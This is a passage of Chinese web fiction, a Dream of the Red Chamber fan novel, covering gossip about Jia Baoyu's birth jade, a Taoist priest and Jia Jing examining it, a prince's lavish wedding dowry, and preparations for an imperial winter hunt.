大家都不缺这点吃的,雍王妃吃了半盏樱桃酪之后,便ren不住问道“弟妹可听说了荣国府那事?” 顾晓赶紧点头“这等稀罕的事情,自然听说了!可惜没见过那胎里带出来的玉是个什么模样!” 雍王妃也是遗憾“可不是嘛!不过,你们家跟荣国府勉强也算有亲,回头满月百岁,你要不要去看一看?” 顾晓摆了摆手“还是算了,以后说不定还有别的机会!” 雍王妃见顾晓这个避之唯恐不及的模样,愈发觉得顾晓大概是知道一些内情,先是打发自家女儿“妍儿,去找你两个姐姐玩去,母妃要跟你婶婶说些话!” 嘉妍一听,就坐不住了,她也不喜欢听大人那些没头没尾的话,而佳婉和佳姝年纪比较大,对这个小妹妹也比较包容,当下欢快地说道“那我先去找姐姐玩去了!” 嘉妍一走,雍王妃就凑到顾晓那里问道“弟妹知道些什么,也跟嫂子我说一说?” 顾晓想了想,便将自己之前叫人打听到的消息说了出来“我知道得也不多,只是听贾家那些下人说,那玉只有雀卵大小,是被那孩子含着带出来的,说是孩子生下来不会哭,稳婆拍了pigu一下,然后从嘴里掉出来这个,说是拿在手上还发光呢!” 然后顾晓又将玉上的文字说了一遍,雍王妃听着愈发两眼放光起来“听起来果然是件异物,倒是的确稀罕!我记得史书上说钩弋夫人生下来手里就拿着玉钩,以至于一直紧攥着拳头,直到武帝触碰才能张开!” 这个多半是假的,手一直攥着拳头,难道美人就不会出手汗了?一直不洗,非臭了不可!也就是人长得漂亮,武帝愿意被骗罢了!雍王妃说到这个,意思其实就是,这事不会是造假的吧! 顾晓听着, 摇了摇头,说道“除非这是是整个贾家一起做的,要不然的话,那王氏应该没这个本事!毕竟,她如今手里没钱没人的,从哪儿能造出这样一件好东西来!他们家大房二房不和,那老太太倒是有钱,也犯不着做这种事情!” 雍王妃倒吸了一口凉气“也就是说,这是真的?” 顾晓也想这事是假的啊,但是她打听了一圈,都没发现有什么破绽,心里还抑郁着呢!真要是有这么一块通灵宝玉,岂不是那什么赖头和尚跛足道士是真的? 甄士隐带着老婆孩子都跑到扬州去了,英莲不会还要被拐吧! 顾晓决定叫人去扬州打听一下情况,毕竟这两年没发生什么事情,都已经过了甄英莲被拐那个年龄了,顾晓也就放松了,琢磨着甄家那边也不会犯傻,叫女儿随便跟个下人出门,因此,这两年已经不怎么关注南边的事情了! 只是如今既然贾宝玉出生居然真带了一块玉,那就很可能真的有那个薄命司,将许多事情都定了下来。 这不是个坑嘛!顾晓才不想以后莫名其妙冒出个和尚道士来,说自己是妖孽附体,搞一出降妖除魔来。既然已经插手了英莲的事,顾晓觉得也不能半途而废,不管怎么说,其他人或许还有可能是性格决定命运,英莲纯粹就是无妄之灾。 心里头胡思乱想,顾晓对着雍王妃肯定地点了点头,说道“只怕十之七八是真的!” 顾晓见雍王妃还有些不可置信,笑道“若是真的,那这位自然有些来历,既是有些来历,总不能是闲着没事就下凡来这么一趟,只怕就要历劫,说不定日后还有些传奇经历,咱们暂且看着便是了!” 雍王妃点了点头,这话倒是,人家神仙下凡,总不能就为了在人间走一遭的吧,肯定有点目的,既然如此,自然不可能如同寻常人家公子哥一样,定然会有什么异常的言辞举止出来,到时候岂不是就知道了? 顾晓随口笑道“说不定人家来人家一趟,为的就是看破红尘来着呢!” 顾晓说得有些奇怪,雍王妃却也听明白了,不免笑了起来“促狭!”却没想到,顾晓这话其实是大实话,人家就是要享尽人间富贵,再勘破感情纠葛,然后就四大皆空,直接出家了。 …… 大家都忙着庆祝贾宝玉的出生,差点就将考上童生的贾珠给忘了。 倒霉的贾珠虽说府试过了,但是在考场上却不慎感染了风寒,一开始找大夫开了几服药吃了,倒是好了些,但后来又参加了一次文会,回来却反复起来,这会儿在金陵那边病得七荤八素,院试显然没法参加,不得不叫人回来送信。 接到贾珠的信之后,大家居然才想起来贾珠还在外头呢,王氏还在坐月子,一听贾珠病了,顿时唬了一跳。 她没想过有了个宝玉就放弃贾珠,别的也就罢了,在孩子方面,她还是算得上慈母的,当下便喊着要叫人接贾珠回来。结果贾史氏一听,直接否了“什么接珠儿回来,他如今病着,就得先养好了病,要不然这一路上车马劳顿的,没病也得闹出病来,何况他本来身体就不好呢!”说着,就叫人从自己的私库里面取了一些人参茯苓鹿茸之类的补药,叫人一并送到金陵去。 王氏也是关心则乱,又想着从京中请个好大夫跟着过去,结果又被贾史氏训斥了一顿。京里最好的大夫自然是在太医院,这些人是能随便出京的?别的大夫,难道就比金陵的大夫更靠谱? 王氏这才想起来,自己还有个妹妹嫁到了 金陵, 只是自从王家出事之后,姐妹两人之间的通信也少了许多。她赶紧叫人给自家妹妹写信,请她帮忙照应一下贾珠。 贾史氏瞧着她浑然没有半点章法的模样,只想要摇头,她这边趁机给甄家写了一封信,当然,还有贾家那些族老也跟着收到了一封信,毕竟,真要是在他们眼皮子底下叫贾珠出了事,那以后金陵那边各房还能不能收到荣宁二府的照应了啊! 贾珠是带着另一个好消息回来的,贾敏也怀上了! 贾史氏只觉自家是撞了什么大运,贾珠考上了童生,明年说不定就是真正的秀才了!自家出了个有来历的孙子,将来定然能够光耀自家门楣,连多年没有好消息的女儿也怀上了,甭管是男是女,总归是个好消息! 因此,贾史氏一边张罗着叫人给贾敏送各种补品和安胎的药材,连自己私库里面的一尊白玉送子观音也一块放进了礼单里头,一边又准备去清虚观拜一拜神,好叫神仙继续保佑自家。 贾家虽说有家庙,但是贾史氏也知道,家庙里头和尚尼姑水平都很一般,所以留着他们无非就是叫他们给贾家的先人念经超度,更多的根本指望不上他们。 像是其他重要的业务,贾家还是更相信清虚观。毕竟,这边的观主一方面是当年贾代shan的替身,一方面本身也极为出挑,被圣上金口御封为大幻仙人,业务能力自然是一等一的。 如今贾家这般蒸蒸日上,贾史氏自然觉得应该趁热打铁,赶紧去拜谢一下神仙,免得神仙觉得自家心不诚,回头有好处也不给自家了! 张道士那天也被叫去了宫里,亲眼见过了那块宝玉。他虽说一开始入道是家里穷,正好生辰八字跟贾代shan一样,因此得了贾家一笔钱,做了贾代shan的替身。但是他本身资质高,悟性也不错,很快就从诸多道童里头脱颖而出,当然,他能接任清虚观的观主之位,贾家也是出了力的。 张道士作为修道之人,虽说不是那么正统,也没那么超凡脱俗,毕竟作为观主还得恰饭,但是本身能耐还是有的。这个世界,一个马道婆都能搞出巫蛊之事来,他们这些正经的道士或多或少都会一点小手段,比如说,他们开过光的寄名符护身符之类,或多或少还是有些用处地。 清虚观往上数到顶,十几代祖师都没能修仙成功,也没见过什么神仙,结果轮到他的时候,算是见识了一下神仙宝物,可惜的是,他终究还是凡夫俗子,根本不能弄明白那宝物是个什么威能。 一听说贾史氏要带着一家人过来祈福,张道士顿时来了精神。他之前在宫里只是略上了一次手,毕竟他辈分资历都不算高,能上手都算不错了!如今人家主动上门,自己应该还能再研究一下吧! 当下,张道士就张罗着叫下头的道人道童赶紧洒扫清理,又将早就准备好的护身符寄名符之类的拿到三清像前供奉,又准备了一些项圈锁片之类的东西,另外,又叫人去荣国府,说是要给那位新出生的小哥儿祈个平安,毕竟,孩子年龄小,未必会带出来,要是不说一声,人家不带出来,自己岂不是白忙活一场? 贾史氏正处在对谁都想要炫耀一番孙子的阶段,尤其贾宝玉真的是个可爱的小家伙,雪团子一般,又很少大哭大闹,比起当初的贾珠和元春都要省心许多,每每被抱到贾史氏那里,就是个无齿的可爱笑容露出来,这样的小宝贝,谁能不爱呢?放在后世,贾史氏能天天在朋友圈九宫格式炫孙子。 如今一听张道士竟是愿意专门给贾宝玉祈平安,贾史氏哪有不同 意的道理, 横竖他们家出门,丫头婆子一大堆,不会叫贾宝玉吹了风,受了什么委屈,因此,那一日直接就将人给带上了。 张道士头一次瞧见贾宝玉,上下打量一番,就ren不住说道“哎呦,这哥儿看着可眼熟得很!” 贾史氏一听便乐了“可不正是如此,活脱脱生得跟他祖父一个模子出来的!” 张道士惊叹一声“怪道呢,也就是如今年纪小,等大一些,便是又一个国公爷啊!” 贾宝玉如今脖子上戴着一个金项圈,那通灵宝玉就挂在金项圈上,也亏得他如今还直不起身来,要不然,光是这金项圈的份量就要坠得脖子疼。 张道士眼睛一转不转地看着那通灵宝玉,明明之前见过一次,却摆出一副没见过的样子,说道“这便是哥儿胎里带出来的那块玉吧!” 贾史氏得意地说道“正是这个!” 张道士赔笑道“小道见识的东西也算是不少了,竟是从未见过这等宝物,老太太,不如叫小道开开眼,见见世面?” 贾史氏犹豫一下,还是说道“那就劳烦仙人你瞧一瞧!” “当不得,当不得,老太太叫我一声老张便是了!”张道士哪敢在贾宝玉面前充什么仙人,赶紧推脱道,又重新净了手,这才仔细将那通灵宝玉摘了下来,放在手中细瞧了半日,只觉的确是天然早就,如鬼斧神工一般,心中暗叹自己无福,竟是半点瞧不出究竟来,也不好再留在手里,又双手给贾宝玉戴回去,口中说道“了不得,了不得!哥儿定然是个有来历有造化的,要不然,何以有这样的宝物随身呢?” 贾史氏听得愈发开怀起来“我倒是不求什么来历造化,只盼着他好好的,那就行了!” 张道士笑道“有福之人不用愁,哥儿日后定然是逢凶化吉,顺心遂意的!” “那就托了你的吉言!”贾史氏笑呵呵说道。 张道士又忙叫人将早就准备好的东西拿了过来“这些都是老道特特在三清祖师像前供奉过的,正好给哥儿戴上,叫祖师保佑哥儿平安顺遂!” “那就劳烦你啦!”贾史氏瞧着张道士连金项圈金锁片都拿出来了,当下也不肯叫他吃了亏,忙说道,“今儿过来,不光是叫真人你看看我家宝玉,也是想要给家里人点几盏长明灯呢!” 张道士忙问道“不知老太太想要给谁点,是个什么章法?” 贾史氏压根不提贾赦和贾政的事情,只先说了家里几个孩子,她虽说偏疼二房,但这会儿也不能分得清楚,叫人瞧出来,因此,便是大房三个孩子,也一并点了,然后才说道贾敏“真人也该知道,我还有个女儿!” 张道士笑道“那怎么能不知道,那可是国公爷跟老太太您的心头肉!四小姐当初老道还抱过呢,后来还嫁了探花郎的不是?” 贾史氏笑道“正是那丫头,我这辈子就她一个女儿,几个孩子里头也最是疼她,偏生她也是最不顺遂的一个,嫁过去这么多年,才算是有了好消息,我这也是不放心,想要你这边帮忙点一盏灯,叫她能平安生子!” 作者有话要说 第 149 章 “老太太一片慈母... “老太太一片慈母之心,三清祖师自然会叫老太太心想事成的!”张道士也学过卜算之法,暗自占卜了一番,发现并无什么凶兆,便笑着说道。 贾史氏听得张道士这般言语,也是松了口气,就跟张道士说起要点多少灯,一个月用多少香油起来。 张道士稍微一算,就知道这次又是上千两银子的香油钱进账,不免愈发高兴起来。正巧这会儿贾宝玉醒了,张道士便想要抱一抱他,沾点福气,结果贾宝玉很是不满,当下扯开嗓子大哭起来。 张道士不免有些狼狈,赔笑道“只怕是老道身上香火味重,将哥儿熏着了!” 一边贾史氏忙笑着叫丫头将贾宝玉抱了回去,瞧着贾宝玉哭声消了下去,嘴里解释道“真人哪里知道这孩子的怪癖,从来只肯丫头和年轻媳妇抱着,也就是我老太太跟他娘抱着无事,其他人抱了,定然要哭个没完!” “非常之人自有非常之行!”张道士倒也没觉得有什么问题,只是笑道,“年轻女子气息且清且纯,哥儿才肯亲近,老太太跟二太太又是血亲,可见哥儿是个眼明心亮的!” 张道士这话说得愈发讨贾史氏喜欢,贾史氏摆了摆手,说道“哪有这么玄乎,横竖家里不缺抱孩子的,他乐意谁抱就谁抱吧!” 贾家跑清虚观这么一趟,张道士接下来又接待了不少道士和尚,都是来打听通灵宝玉之事的,只是张道士自个也说不清楚,只得说自己道行太浅,依旧是肉体凡胎,识不得真宝。他这边赌咒发誓,不曾研究出什么成仙之法,最终大家也只得罢了。 这事还传到了玄真观那边,贾敬一开始出家修道,不过是为了避祸,如今倒是真的被迷住了,每日里烧铅炼汞,意图成仙得道。徐氏一开始过去,他还肯见一见,之后再去,十次里头也就能见个三五次罢了。便是儿媳妇死了,他也就是在玄真观里念了几遍度人经,之后便不管不顾了!徐氏想着再给贾珍娶一个续弦,贾敬那边也从没有个确切的说法,叫徐氏也是无可奈何。 贾敬一心想要修仙,一开始听得荣国府又得了个哥儿,压根没放在心上,毕竟,他孙子也已经有了,也不缺孩子。因此竟是没有多问,及到知道贾宝玉还衔了一块玉生下来的时候,竟是已经过去好几个月了! 当下,贾敬也坐不住了,非要回来看一看那玉,贾政素来是敬服这个堂兄的,毕竟,他自个读书没读出什么名堂来,这个堂兄却是正经的进士及第,贾政自个是拍马不及的! 只是这堂兄一来,就要看贾宝玉那块玉,贾政素来崇尚的是子不语怪力乱神,平时对于那块玉,那是绝口不谈。结果自家这个堂兄,明明是个正经的读书人,偏生如今弃儒入道,简直都魔怔了,竟也相信那块玉有什么来历。 贾敬执意要看,贾政嘴皮子都快磨破了,也没叫贾敬改变主意,只得领着贾敬往荣庆堂而去。 荣庆堂那边,贾宝玉正好醒着,元春拿了一个精致的拨浪鼓正在哄他。 贾宝玉就喜欢漂亮小姐姐,元春正处在这个年纪,因此,贾宝玉这会儿很给面子,头跟着拨浪鼓的移动转来转去,还手舞足蹈,嘴里“咯咯”笑个不停。 贾元春原本因为大选取消的事情,心中有些惴惴,如今瞧着弟弟这般玉雪可爱,连同心中那点郁气也消散不见了。 贾史氏坐在一边看着姐弟两个玩闹,神情慈爱,她对此是乐见其成,总要叫元春跟家里有个关系亲近的兄弟,日后进了宫,才更知道要提携家里。 然后就听 到丫头在外面传话“老太太5(笔趣阁小 二老爷和东府太爷来了!” 贾史氏一听就知道是贾敬,不免皱了皱眉,她不是很喜欢东府这个侄子,不过人家虽说如今不做官了,爵位也让了,连族长也不做了,却也不是贾史氏能轻忽的,因此便说道“那还不赶紧请进来!” 两人进来之后都老老实实先给贾史氏问安,贾史氏看贾敬穿着道袍,戴着纯阳巾,不免有些碍眼,别人做道士也就罢了,自家子侄出家,就显得有些不靠谱。她见得贾敬,忍不住说道“你如今这个年纪,我原也不该多说什么,只是瞧着你媳妇可怜,这个年纪了,还得操心家里的事情!珍哥儿的性子你也知道的,之前还好了一阵子,如今又是以往那个样子,你总该回来管着点,好歹再给珍哥儿娶个媳妇,好将那府里的事情管起来!” 贾史氏这话说得颇有道理,贾敬却是说道“婶娘,我如今已经是方外之人,哪里好再管家里的事情!我今儿过来,乃是有事相求!” 贾史氏还以为贾敬是为了贾珍的婚事过来的,说道“可是围着珍哥儿媳妇的事情,我如今又不出门,外头的事情也不知道,哪里知道有什么人家的闺秀,再有,珍哥儿是续弦,比起前头的还得略差一些,我哪里认得这样的人家!你也是做过官的,难不成以前就没什么下属,若是有年纪品貌合适的,也好聘了回来,总不能叫珍哥儿一直这么浪荡下去!” 贾敬也算有耐心,听着贾史氏将话说完,才道“婶娘说的是,这事却是不用婶娘费心,叫他母亲找人相看便是!我今儿过来,其实为的是那块胎里带下来的宝玉!” 贾史氏一听,便没了兴致,叹道“罢了罢了,我就是个隔房的婶娘,哪里管得了你这些事!那块玉就在宝玉身上,你要看,便叫元春摘了过来看吧,你如今这个样子,凑过去,没得把宝玉给吓坏了!” 贾政忍不住开口道“他大伯乃是二榜进士,怎么就能把那孽障给吓坏了!” 贾史氏竖起了眉头“才多大的孩子,你就孽障来孽障去的!他又从没见过他敬大伯,小孩子认生,到时候哭将起来,伤了肺腑可如何是好?你也是,寻常不见你过来,一说到孩子就骂,当初是珠儿,如今又是宝玉,竟是没个消停的时候。你若是不喜欢,何苦要生他们下来!” 贾政听得无言以对,只得低头不语。 元春这会儿也摘了那块通灵宝玉下来,放到一个锦帕垫着的小托盘上,双手送到贾敬面前。 贾敬同样双手接过,上上下下,仔仔细细看了半天,还对着念了半天的经文,也不见那玉有什么动静,最后只得作罢,叹道“罢了罢了,是我没这个缘分!”说着,便将玉放回托盘上头,元春接过来,悄悄用自己的帕子将玉擦了一遍,这才挂回宝玉项圈上。 贾敬没注意到这个,只是长叹了两声,便起身说道“既然无缘,那我这便告辞了!” 贾史氏忙说道“这会儿也不早了,你现在出城,只怕也来不及,不如今儿就回宁府里头歇下!蓉哥儿生下来那么久,你也没见过,正好见一见!” 贾敬也还没修炼到那彻底断绝红尘的地步,这会儿听着也有些心动,当下叹道“婶娘说的是,如今也还没彻底断绝红尘,见一见也便罢了!” 贾史氏听他这般言语,愈发来气,却又不好多说,只得叫贾政送贾敬回去,再看到贾宝玉伸手去够元春手里拨浪鼓的时候,竟是翻了个身,不由大喜起来“好孩子,都会翻身了!”当下也不管贾敬如何, 只管哄着贾宝玉( …… 一晃便过了中秋,顺王娶妃的日子要到了。 前一天东平郡王府便开始晒嫁妆,各家亲戚也都过去给乐安县主添妆。 顾晓跟东平王府也不算熟,因此只是随大流,和各家王妃一样,给添了一副镶碧玺的头面,碧玺颜色丰富多变,顾晓选的这一套又是以粉色和蓝色为主,看起来颇为娇艳,因此,便是价值与其他人的相当,也看得出来颇为用心。 东平郡王妃一向疼爱女儿,如今瞧着宗室给的添妆,心里愈发满意起来。嫁妆是女人的底气,自家女儿虽说性子不太好,但是,其他方面却是挑不出什么不是来,如今宗室都给面子,那么以后日子也好过。 至于说顺王以后没了登基机会什么的,真要是有这个可能,东平郡王府还不干呢!他们家这样的身份地位,干什么掺和到夺嫡里头去!老老实实享受富贵不好吗? 四大异姓王里头,东平郡王府是头一个跟皇室靠拢的,如今他们手里头也没什么兵权,也就是掌握着几条商路,保证自家的富贵罢了,因此,皇室对东平郡王府也一向优容。在这样的情况下,他们家无论如何,也是不乐意掺和那些事情的。 至于说顺王内心的那点怨愤,这更没什么了不起的了,还是那句话,他身体出了问题,又没办法真的去报复,那么,不管谁上位,只有宽慰的。宗室再无实权,但你要是连宗室都不肯善待,下面的官员百姓能相信你会善待他们吗? 所以,晒嫁妆的时候,东平郡王府这边都是一副喜气盈腮的模样,他们家已经在门口摆起了流水席,不管是谁,道声恭喜,就能入席吃上一顿。西宁郡王府也同样派了人过来添妆,跟东平郡王府那叫一个其乐融融,又将两家祖上不知道是真是假的交情拿出来分说,就跟真的是世交一样。 荣宁二府倒是跟东平郡王府真的算世交,当年老荣国公还救过那一任东平郡王的命,荣禧堂的楹联还是当时的东平郡王世子题的,可见两家交情。 这等场合,贾史氏自然也来了,还带上了张氏。王氏倒是没带,毕竟贾政就是个五品,王氏身份比较低,娘家又比较尴尬,带过来的话,就有些不够资格,到时候也不知道该怎么跟人家招呼,因此,只得留在了荣国府里。宁国府来的是徐氏,她也是有些尴尬,毕竟男人活着跟死了差不多,儿子又是个混账玩意,因此,她也跟张氏一样,只是跟在贾史氏身后。 贾史氏这人别的也就罢了,手笔还是很大方的,即便早就选定了甄贵妃母子,但是这会儿也半点没有显露立场的意思,她给的添妆同样是一副头面,却是缧丝金凤镶嵌珍珠的那种,那珍珠都是一等一的南珠,大的足有指头大小,小的也有黄豆粒大,且色泽匀净,珠光隐隐,颇为难得。 张氏和徐氏也各自添了一份,及到各家亲友都添好了妆,乐安县主的嫁妆已经达到了一百一十抬,仅比当年的太子妃少了十抬,但是真要算起来,其实远远不止,不说每一抬嫁妆都塞得满满当当,这里头还没包括家具,乐安县主嫁妆里头的家具已经提前送到王府去了,光那些就有好几十抬了。再有压箱的银子也没算在里头,可以说,只怕得宠的公主出嫁,也不过就是如此。 大家对此倒也没有意外,东平郡王府富贵了几代人,不知道积攒下多少家业,多给嫡出的县主陪嫁一些,又算得了什么! 作为新郎官的徒宏轩这会儿却不在自个王府里头,甚至明儿个迎亲,也不是他亲自出面,毕 竟,他腿脚不怎么好,叫他骑马相迎,难免为难他,因此,便找了自家表兄金锐帮忙迎亲。 想看微云烟波的《红楼太妃要躺平》吗?请记住[笔趣?╬阁小说]的域名[(. 这会儿,他就在一家酒楼宴请金锐。 “我说表弟,你都要成亲的人了,今儿个不好好养精蓄锐,拉着我出来喝酒作甚!”金锐其实有些羡慕,他也已经成婚了,但是妻子只是个四品散官家的女儿,嫁妆也不丰厚,人也算不得绝色,无非就是有几分才学,另外,性子也温柔和顺,夫妻两个相敬如宾,如今已经有了一个孩子,感情还算过得去。 而徒宏轩呢,媳妇是县主,岳家是世袭罔替的异姓王,嫁妆丰厚,便是他自个没有俸禄,吃软饭都能吃一辈子,何况他本身还是个亲王!金锐本来觉得自己投胎技术已经非常不错,结果跟徒宏轩一对比,就是天壤之别,都不是长子,徒宏轩直接一个亲王,他将来最多是家里给他捐个官,毕竟,他散漫惯了的,上不得战场,赚不到军功,那只能就混个官职混吃等死。等他老子没了,他分出去之后,家里孩子也很难沾上王府什么光。 徒宏轩这会儿心情也并不差,只是笑道“明儿还要劳烦表兄一趟,今儿自然得先请表兄你喝一顿!” 金锐松了口气“这就好,成,那这酒我喝了!”他就怕徒宏轩心里头有什么想法,到时候闹出点幺蛾子来,如今看起来徒宏轩对这门婚事挺满意,那就没事了!至于明儿个帮忙迎亲什么的,也不是什么大事,他就是骑个马将新娘子从东平郡王府接到顺亲王府就行,之后再帮着挡挡酒,别的也就没他什么事了! 徒宏轩的确心中还有许多不甘,但是事到如今,许多事情本来也无可挽回,他想要做的无非就是叫徒宏憬也希望落空,所以,能与东平郡王府结亲,他也还是挺乐意的,说不定就能借着东平郡王府的势坑甄家或者是徒宏憬一把。但要说他对未来的妻子有什么期待,那还真没有。 他这会儿跑出来,其实也是因为府里头这会儿比较忙乱,徒宏轩只得出来寻个清静。 金锐想了想,忽然坏笑一声“表弟你之前一直静养,不会连男女之事都不知道吧!” 徒宏轩顿时皱起了眉头,说道“表兄你胡说什么,这我怎么会不知道!之前母妃就给我安排过教导人事的女官!” 金锐喝了一杯酒,借着酒意,摇头晃脑地说道“教导人事的女官有什么意思,一个个都跟木头一样,你啊,就是不知道这里头的趣味!走,表兄带你去长长见识!” 徒宏轩警惕地看着金锐“我明儿就要成婚,你不会想要带我去烟花之地吧!” 金锐“呸”了一声,说道“我又不是傻,我真要是敢带你过去,明儿个也别指望帮你迎亲了,只怕腿都要被打断了!行啦,我带你过去,你就知道了!” 徒宏轩听着,也有些好奇,当下便起身跟着金锐出了酒楼,金锐拉着徒宏轩上了自己的马车,然后吩咐了一声,马车就调转了方向,哒哒地向前驶去。 “到了,就是这儿!”金锐看着窗外的招牌,嘿嘿一笑,“走,跟我下车!” 徒宏轩探头一看,发现这里是一处书肆,心里也就明白了,不免低声说道“表兄,不必了吧!避火图我自个家里也有的!” 金锐也是低声笑道“放心便是,这边的避火图,可比你在别处看见的好看多了,种类也多,你多买几卷回去,也好多见识一下!”在金锐看来,徒宏轩就是个弱鸡,这床笫之事上,说不定可能有些力不从心,得需要一点情趣辅助,他这才准备叫这个可怜的小表弟见识 一下新鲜的花样。 想到这里,金锐都觉得自己的身影都变得异常高大起来,也就是自己了,换做是其他人,哪里会想得到这些! 徒宏轩不知道金锐心里在想什么,作为一个青葱少年,在自个房间里面偷偷看看小刘备没什么,但是被拉到书肆里面专门买,这几乎要让他觉得整个人想要爆炸。 结果金锐拉着他进了门,熟极而流地跟书肆里的一个小伙计说道“有新的小册子吗?” 那小伙计一看金锐,忙说道“公子来得正好,刚进了几本新的呢,还请公子先去雅室稍待,小的这就给两位公子送过去!” 金锐直接拉着徒宏轩去了所谓的雅室,其实就是用书架和屏风隔出来的一个小空间,里头摆着书案和几张椅子,一旁的小几上还摆着一只仿哥窑灰青釉鱼耳簋式炉,里面染着清雅的百合香,博古架上摆着一些瓷器书匣,墙上还挂着一把瑶琴,若不是这里是书肆,真像是谁家的书房一般。 徒宏轩稍微安下心来,找了个座位坐下,金锐也在他一侧坐了下来,笑嘻嘻说道“表弟,一会儿就叫你好好见识一下!” 徒宏轩见金锐是半点不好意思都没有,心下一横,说道“回头要是这事传出去,我就说都是你给的!” “嘿嘿,这边人又不认识咱们,你不说,我不说,这事怎么传得出去!何况,东西你买走了,自个找个地方一藏,还有人敢去你王府搜不成!再说了,你都成婚的人了,看点这个算什么?说不定,县主那边也有呢!”说到这里,金锐忍不住笑了起来。 徒宏轩有些气恼,却不知道该说什么好,就在他琢磨着怎么坑金锐一把的时候,那伙计低着头,捧着一匣子书过来了。 “两位公子,新的都在这里了!”伙计轻手轻脚地打开书匣,将里头几本装帧精美,封面上却没有书名的字摆到了书案上,“两位公子可先翻阅一下!” “你先下去吧,到时候我们会叫你的!”金锐直接丢过去一个小银豆子,吩咐道。 “多谢公子赏赐,小的这便下去了,若是有什么吩咐,只管拉这个铃铛便是!”那伙计接过银豆子,行了一礼,又指着椅子后面一根拉绳说了一句,然后便悄无声息地走了出去,又将门带上。 “他就不怕咱们光看不买?”徒宏轩嘀咕了一声。 金锐嘿嘿一笑“你会吗?”人家伙计又不傻,这等精装的书籍,哪里是什么人都能看的!若是个穿着一般的,只怕那伙计随便那点粗陋的图画就给打发了,哪里能看得到这些。 徒宏轩忍不住摇了摇头,这种东西,看了不买,被人知道了,多难堪啊! 徒宏轩深吸了一口气,随便抽出一本,翻开一页,果然画得十分精美,用的还是三色套印之法,比起他之前见过的,更是细节满满。他只觉有些口干舌燥,粗粗翻看了一遍之后便打算买下来回去再细看,然后又抽出一本来,一个新世界向他打开了。 作者有话要说 第 150 章 冬狩 徒宏轩将一匣子书都买走了,这一本就得二十两银子,一匣子下来,就是一百多两,不过对他来说压根算不得什么。金锐看他的眼神却是有些意味深长,全因这一匣子书里头,不仅有正常版本,还有分桃断袖版本。 虽说这年头这等事情不少,但是宫里却少有此等事情,毕竟,寻常人家会养着几个清俊的小厮书童,但是宫里头除了姓徒的,便没别的男性生物了,都是太监!而太监嘛,毕竟身体畸形,除非有什么特殊的喜好,否则的话,几乎不会拿太监泻火。 既是如此,徒宏轩竟是对这个感兴趣,难不成,他竟是跟身边的太监有一腿?只是徒宏轩身边的太监金锐也见过,生得其实一般,不像是干得了这个的。 金锐心里头胡思乱想,但是却没说出去的意思。这种事情如今多的是,明面上不许官员狎妓,上有政策下有对策,大家自然也就玩起了戏子娈童。甚至,各家女眷对此也是乐见其成,毕竟男人又生不了孩子,不会影响当家夫人和下面孩子的利益。 徒宏轩回去之后是否找人尝试也没人知道,第二天的婚礼却是照常举行,而且如同大家预料中的一样盛大,第二天进宫拜见圣上和瑜妃的时候看起来也挺和谐。 看过了乐安县主的嫁妆,大家自然想要看看镇国公府的。镇国公府也很憋屈,他们家人丁繁茂,几代下来,再多的家底也分薄了不少,总不能一家子大小日子不过了,就给女儿准备嫁妆。 虽说镇国公府也算是亲朋好友众多,但终归不像是宗室一样,光是亲王郡王就一大堆,因此,得到的添妆自然也比不得乐安县主丰厚。 最终,牛继宗的夫人为了不叫女儿在妯娌面前抬不起头来,只得将自己的私房拿出来了近半,填进了女儿嫁妆里头。但是牛继宗夫人又不只是一个女儿,她一共二子二女,长女已经出嫁了,两个儿子也都成了婚,有道是不患寡而患不均,哪怕是一母同胞的兄弟姐妹,切身利益相关的时候,也很难做到心平气和。已经出嫁的长女觉得她不公平,都是女儿,结果她嫁得不如妹妹好也就罢了,嫁妆连妹妹的一半都没有。两个儿子同样也很不舒服,府里头如今也就是保持着表面的光鲜亮丽,人家娶妹妹为的是镇国公府在勋贵圈子里头的权力和影响力,结果还非要打肿脸充胖子,赔上一大笔钱进去。好在牛家答应这门婚事,无非就是觉得徒宏憬有很大可能继位,以后自家妹妹做了皇后,自家就是国丈国舅,之前搭进去的迟早也能捞回来。 因着这般想法,大家才能保持表面上的心平气和,算是顺顺当当地将婚事给进行了下去。 从这门亲事定下来开始,不少勋贵的态度就变得暧昧起来,当初跟着西宁郡王府在羊毛生意上插了一脚的,如今也跟纯王府眉来眼去,西宁郡王府那边表面上不爽,却也没什么实际行动,就这么睁只眼闭只眼。 瑜妃母子两个似乎也不在乎这些事情了,瑜妃在深宫里头开始吃斋念佛,只盼着自家儿子万事顺遂。 徒宏轩与乐安县主小夫妻两个的生活也似乎进入了正规,颇为和谐。据说乐安县主觉得府里头无聊,徒宏轩还专门请了戏班子进府,专门给王妃唱戏,甚至还开始叫人在外头采买了一些小戏子进府,准备自家养一个戏班子。 这般做法,在许多人眼里,那就是对妻子颇为爱重了。 瞧着连徒宏轩也不争了,徒宏憬这边只觉胜券在握,一时间志得意满起来。 圣上似乎也有提携他的意思,等着他大婚一个月多后,便宣 布要去铁网山猎场冬狩。 圣上年轻的时候还是比较喜欢这种热血沸腾的活动的13( 如今圣上显然没法立嫡立长了,嫡子没了,现存年纪最大的简王怎么看都没有半点人君之像,那么只能是立贤。

那什么是贤呢,这玩意根本就没个标准。徒宏憬如今在户部行走,甄家那边在江南拼命捞钱,就为了将这个外孙拱卫到太子之位上,某种意义上来说,也算是一种能力,但是光这个还不够!朝廷需要的不仅是钱财,还得有武力。所以,一个合格的太子,最好还得具备一定的武略!

可惜如今也没有什么战事,想要嘴炮纸上谈兵一把都是不能,那就只能换个赛道,比如说,在冬狩里头拿个头名!

大家都觉得看出了圣上的心思,一时间,簇拥在徒宏憬身边的人愈发多了起来,个个摩拳擦掌,就准备趁着这个机会,叫徒宏憬好好露个脸,叫人知道,他文武双全,足以承担社稷。

这场冬狩也算是大场面了,文官要带过去歌功颂德,武将也要带过去上场显示自家武德不衰,年轻一辈的更是想要在圣上面前露个脸,毕竟许多人没有爵位可以继承,家里捐个官职多半也只是替补的,想要真正做出点事业来,最好的捷径就是叫圣上或者是下一任皇帝看见自己的能耐。

这种事情,宗室子弟也是少不得要参与其中,毕竟,宗室如今已经够背景板的了,总得有个出场的机会吧!

徒嘉钰其实一点也不想去,他也就是之前兴头上来,略练习了一番,射术非常一般,回头成绩太差,丢脸了怎么办!

顾晓一边拿了新做的箭袖给他试穿,一边说道“放心吧,又不是让你一个人上去,到时候你身边还有侍卫呢,他们知道怎么做!”

顾晓可是早就打听好了,这种大型狩猎,都是侍卫们先将猎物驱赶到一起,然后才轮得到徒嘉钰这些人射猎,只要猎物足够密集,那么,便是闭着眼睛往天上射,也能瞎猫碰上死耗子。何况,实在不行,叫那些侍卫换上主子的箭不就行了!

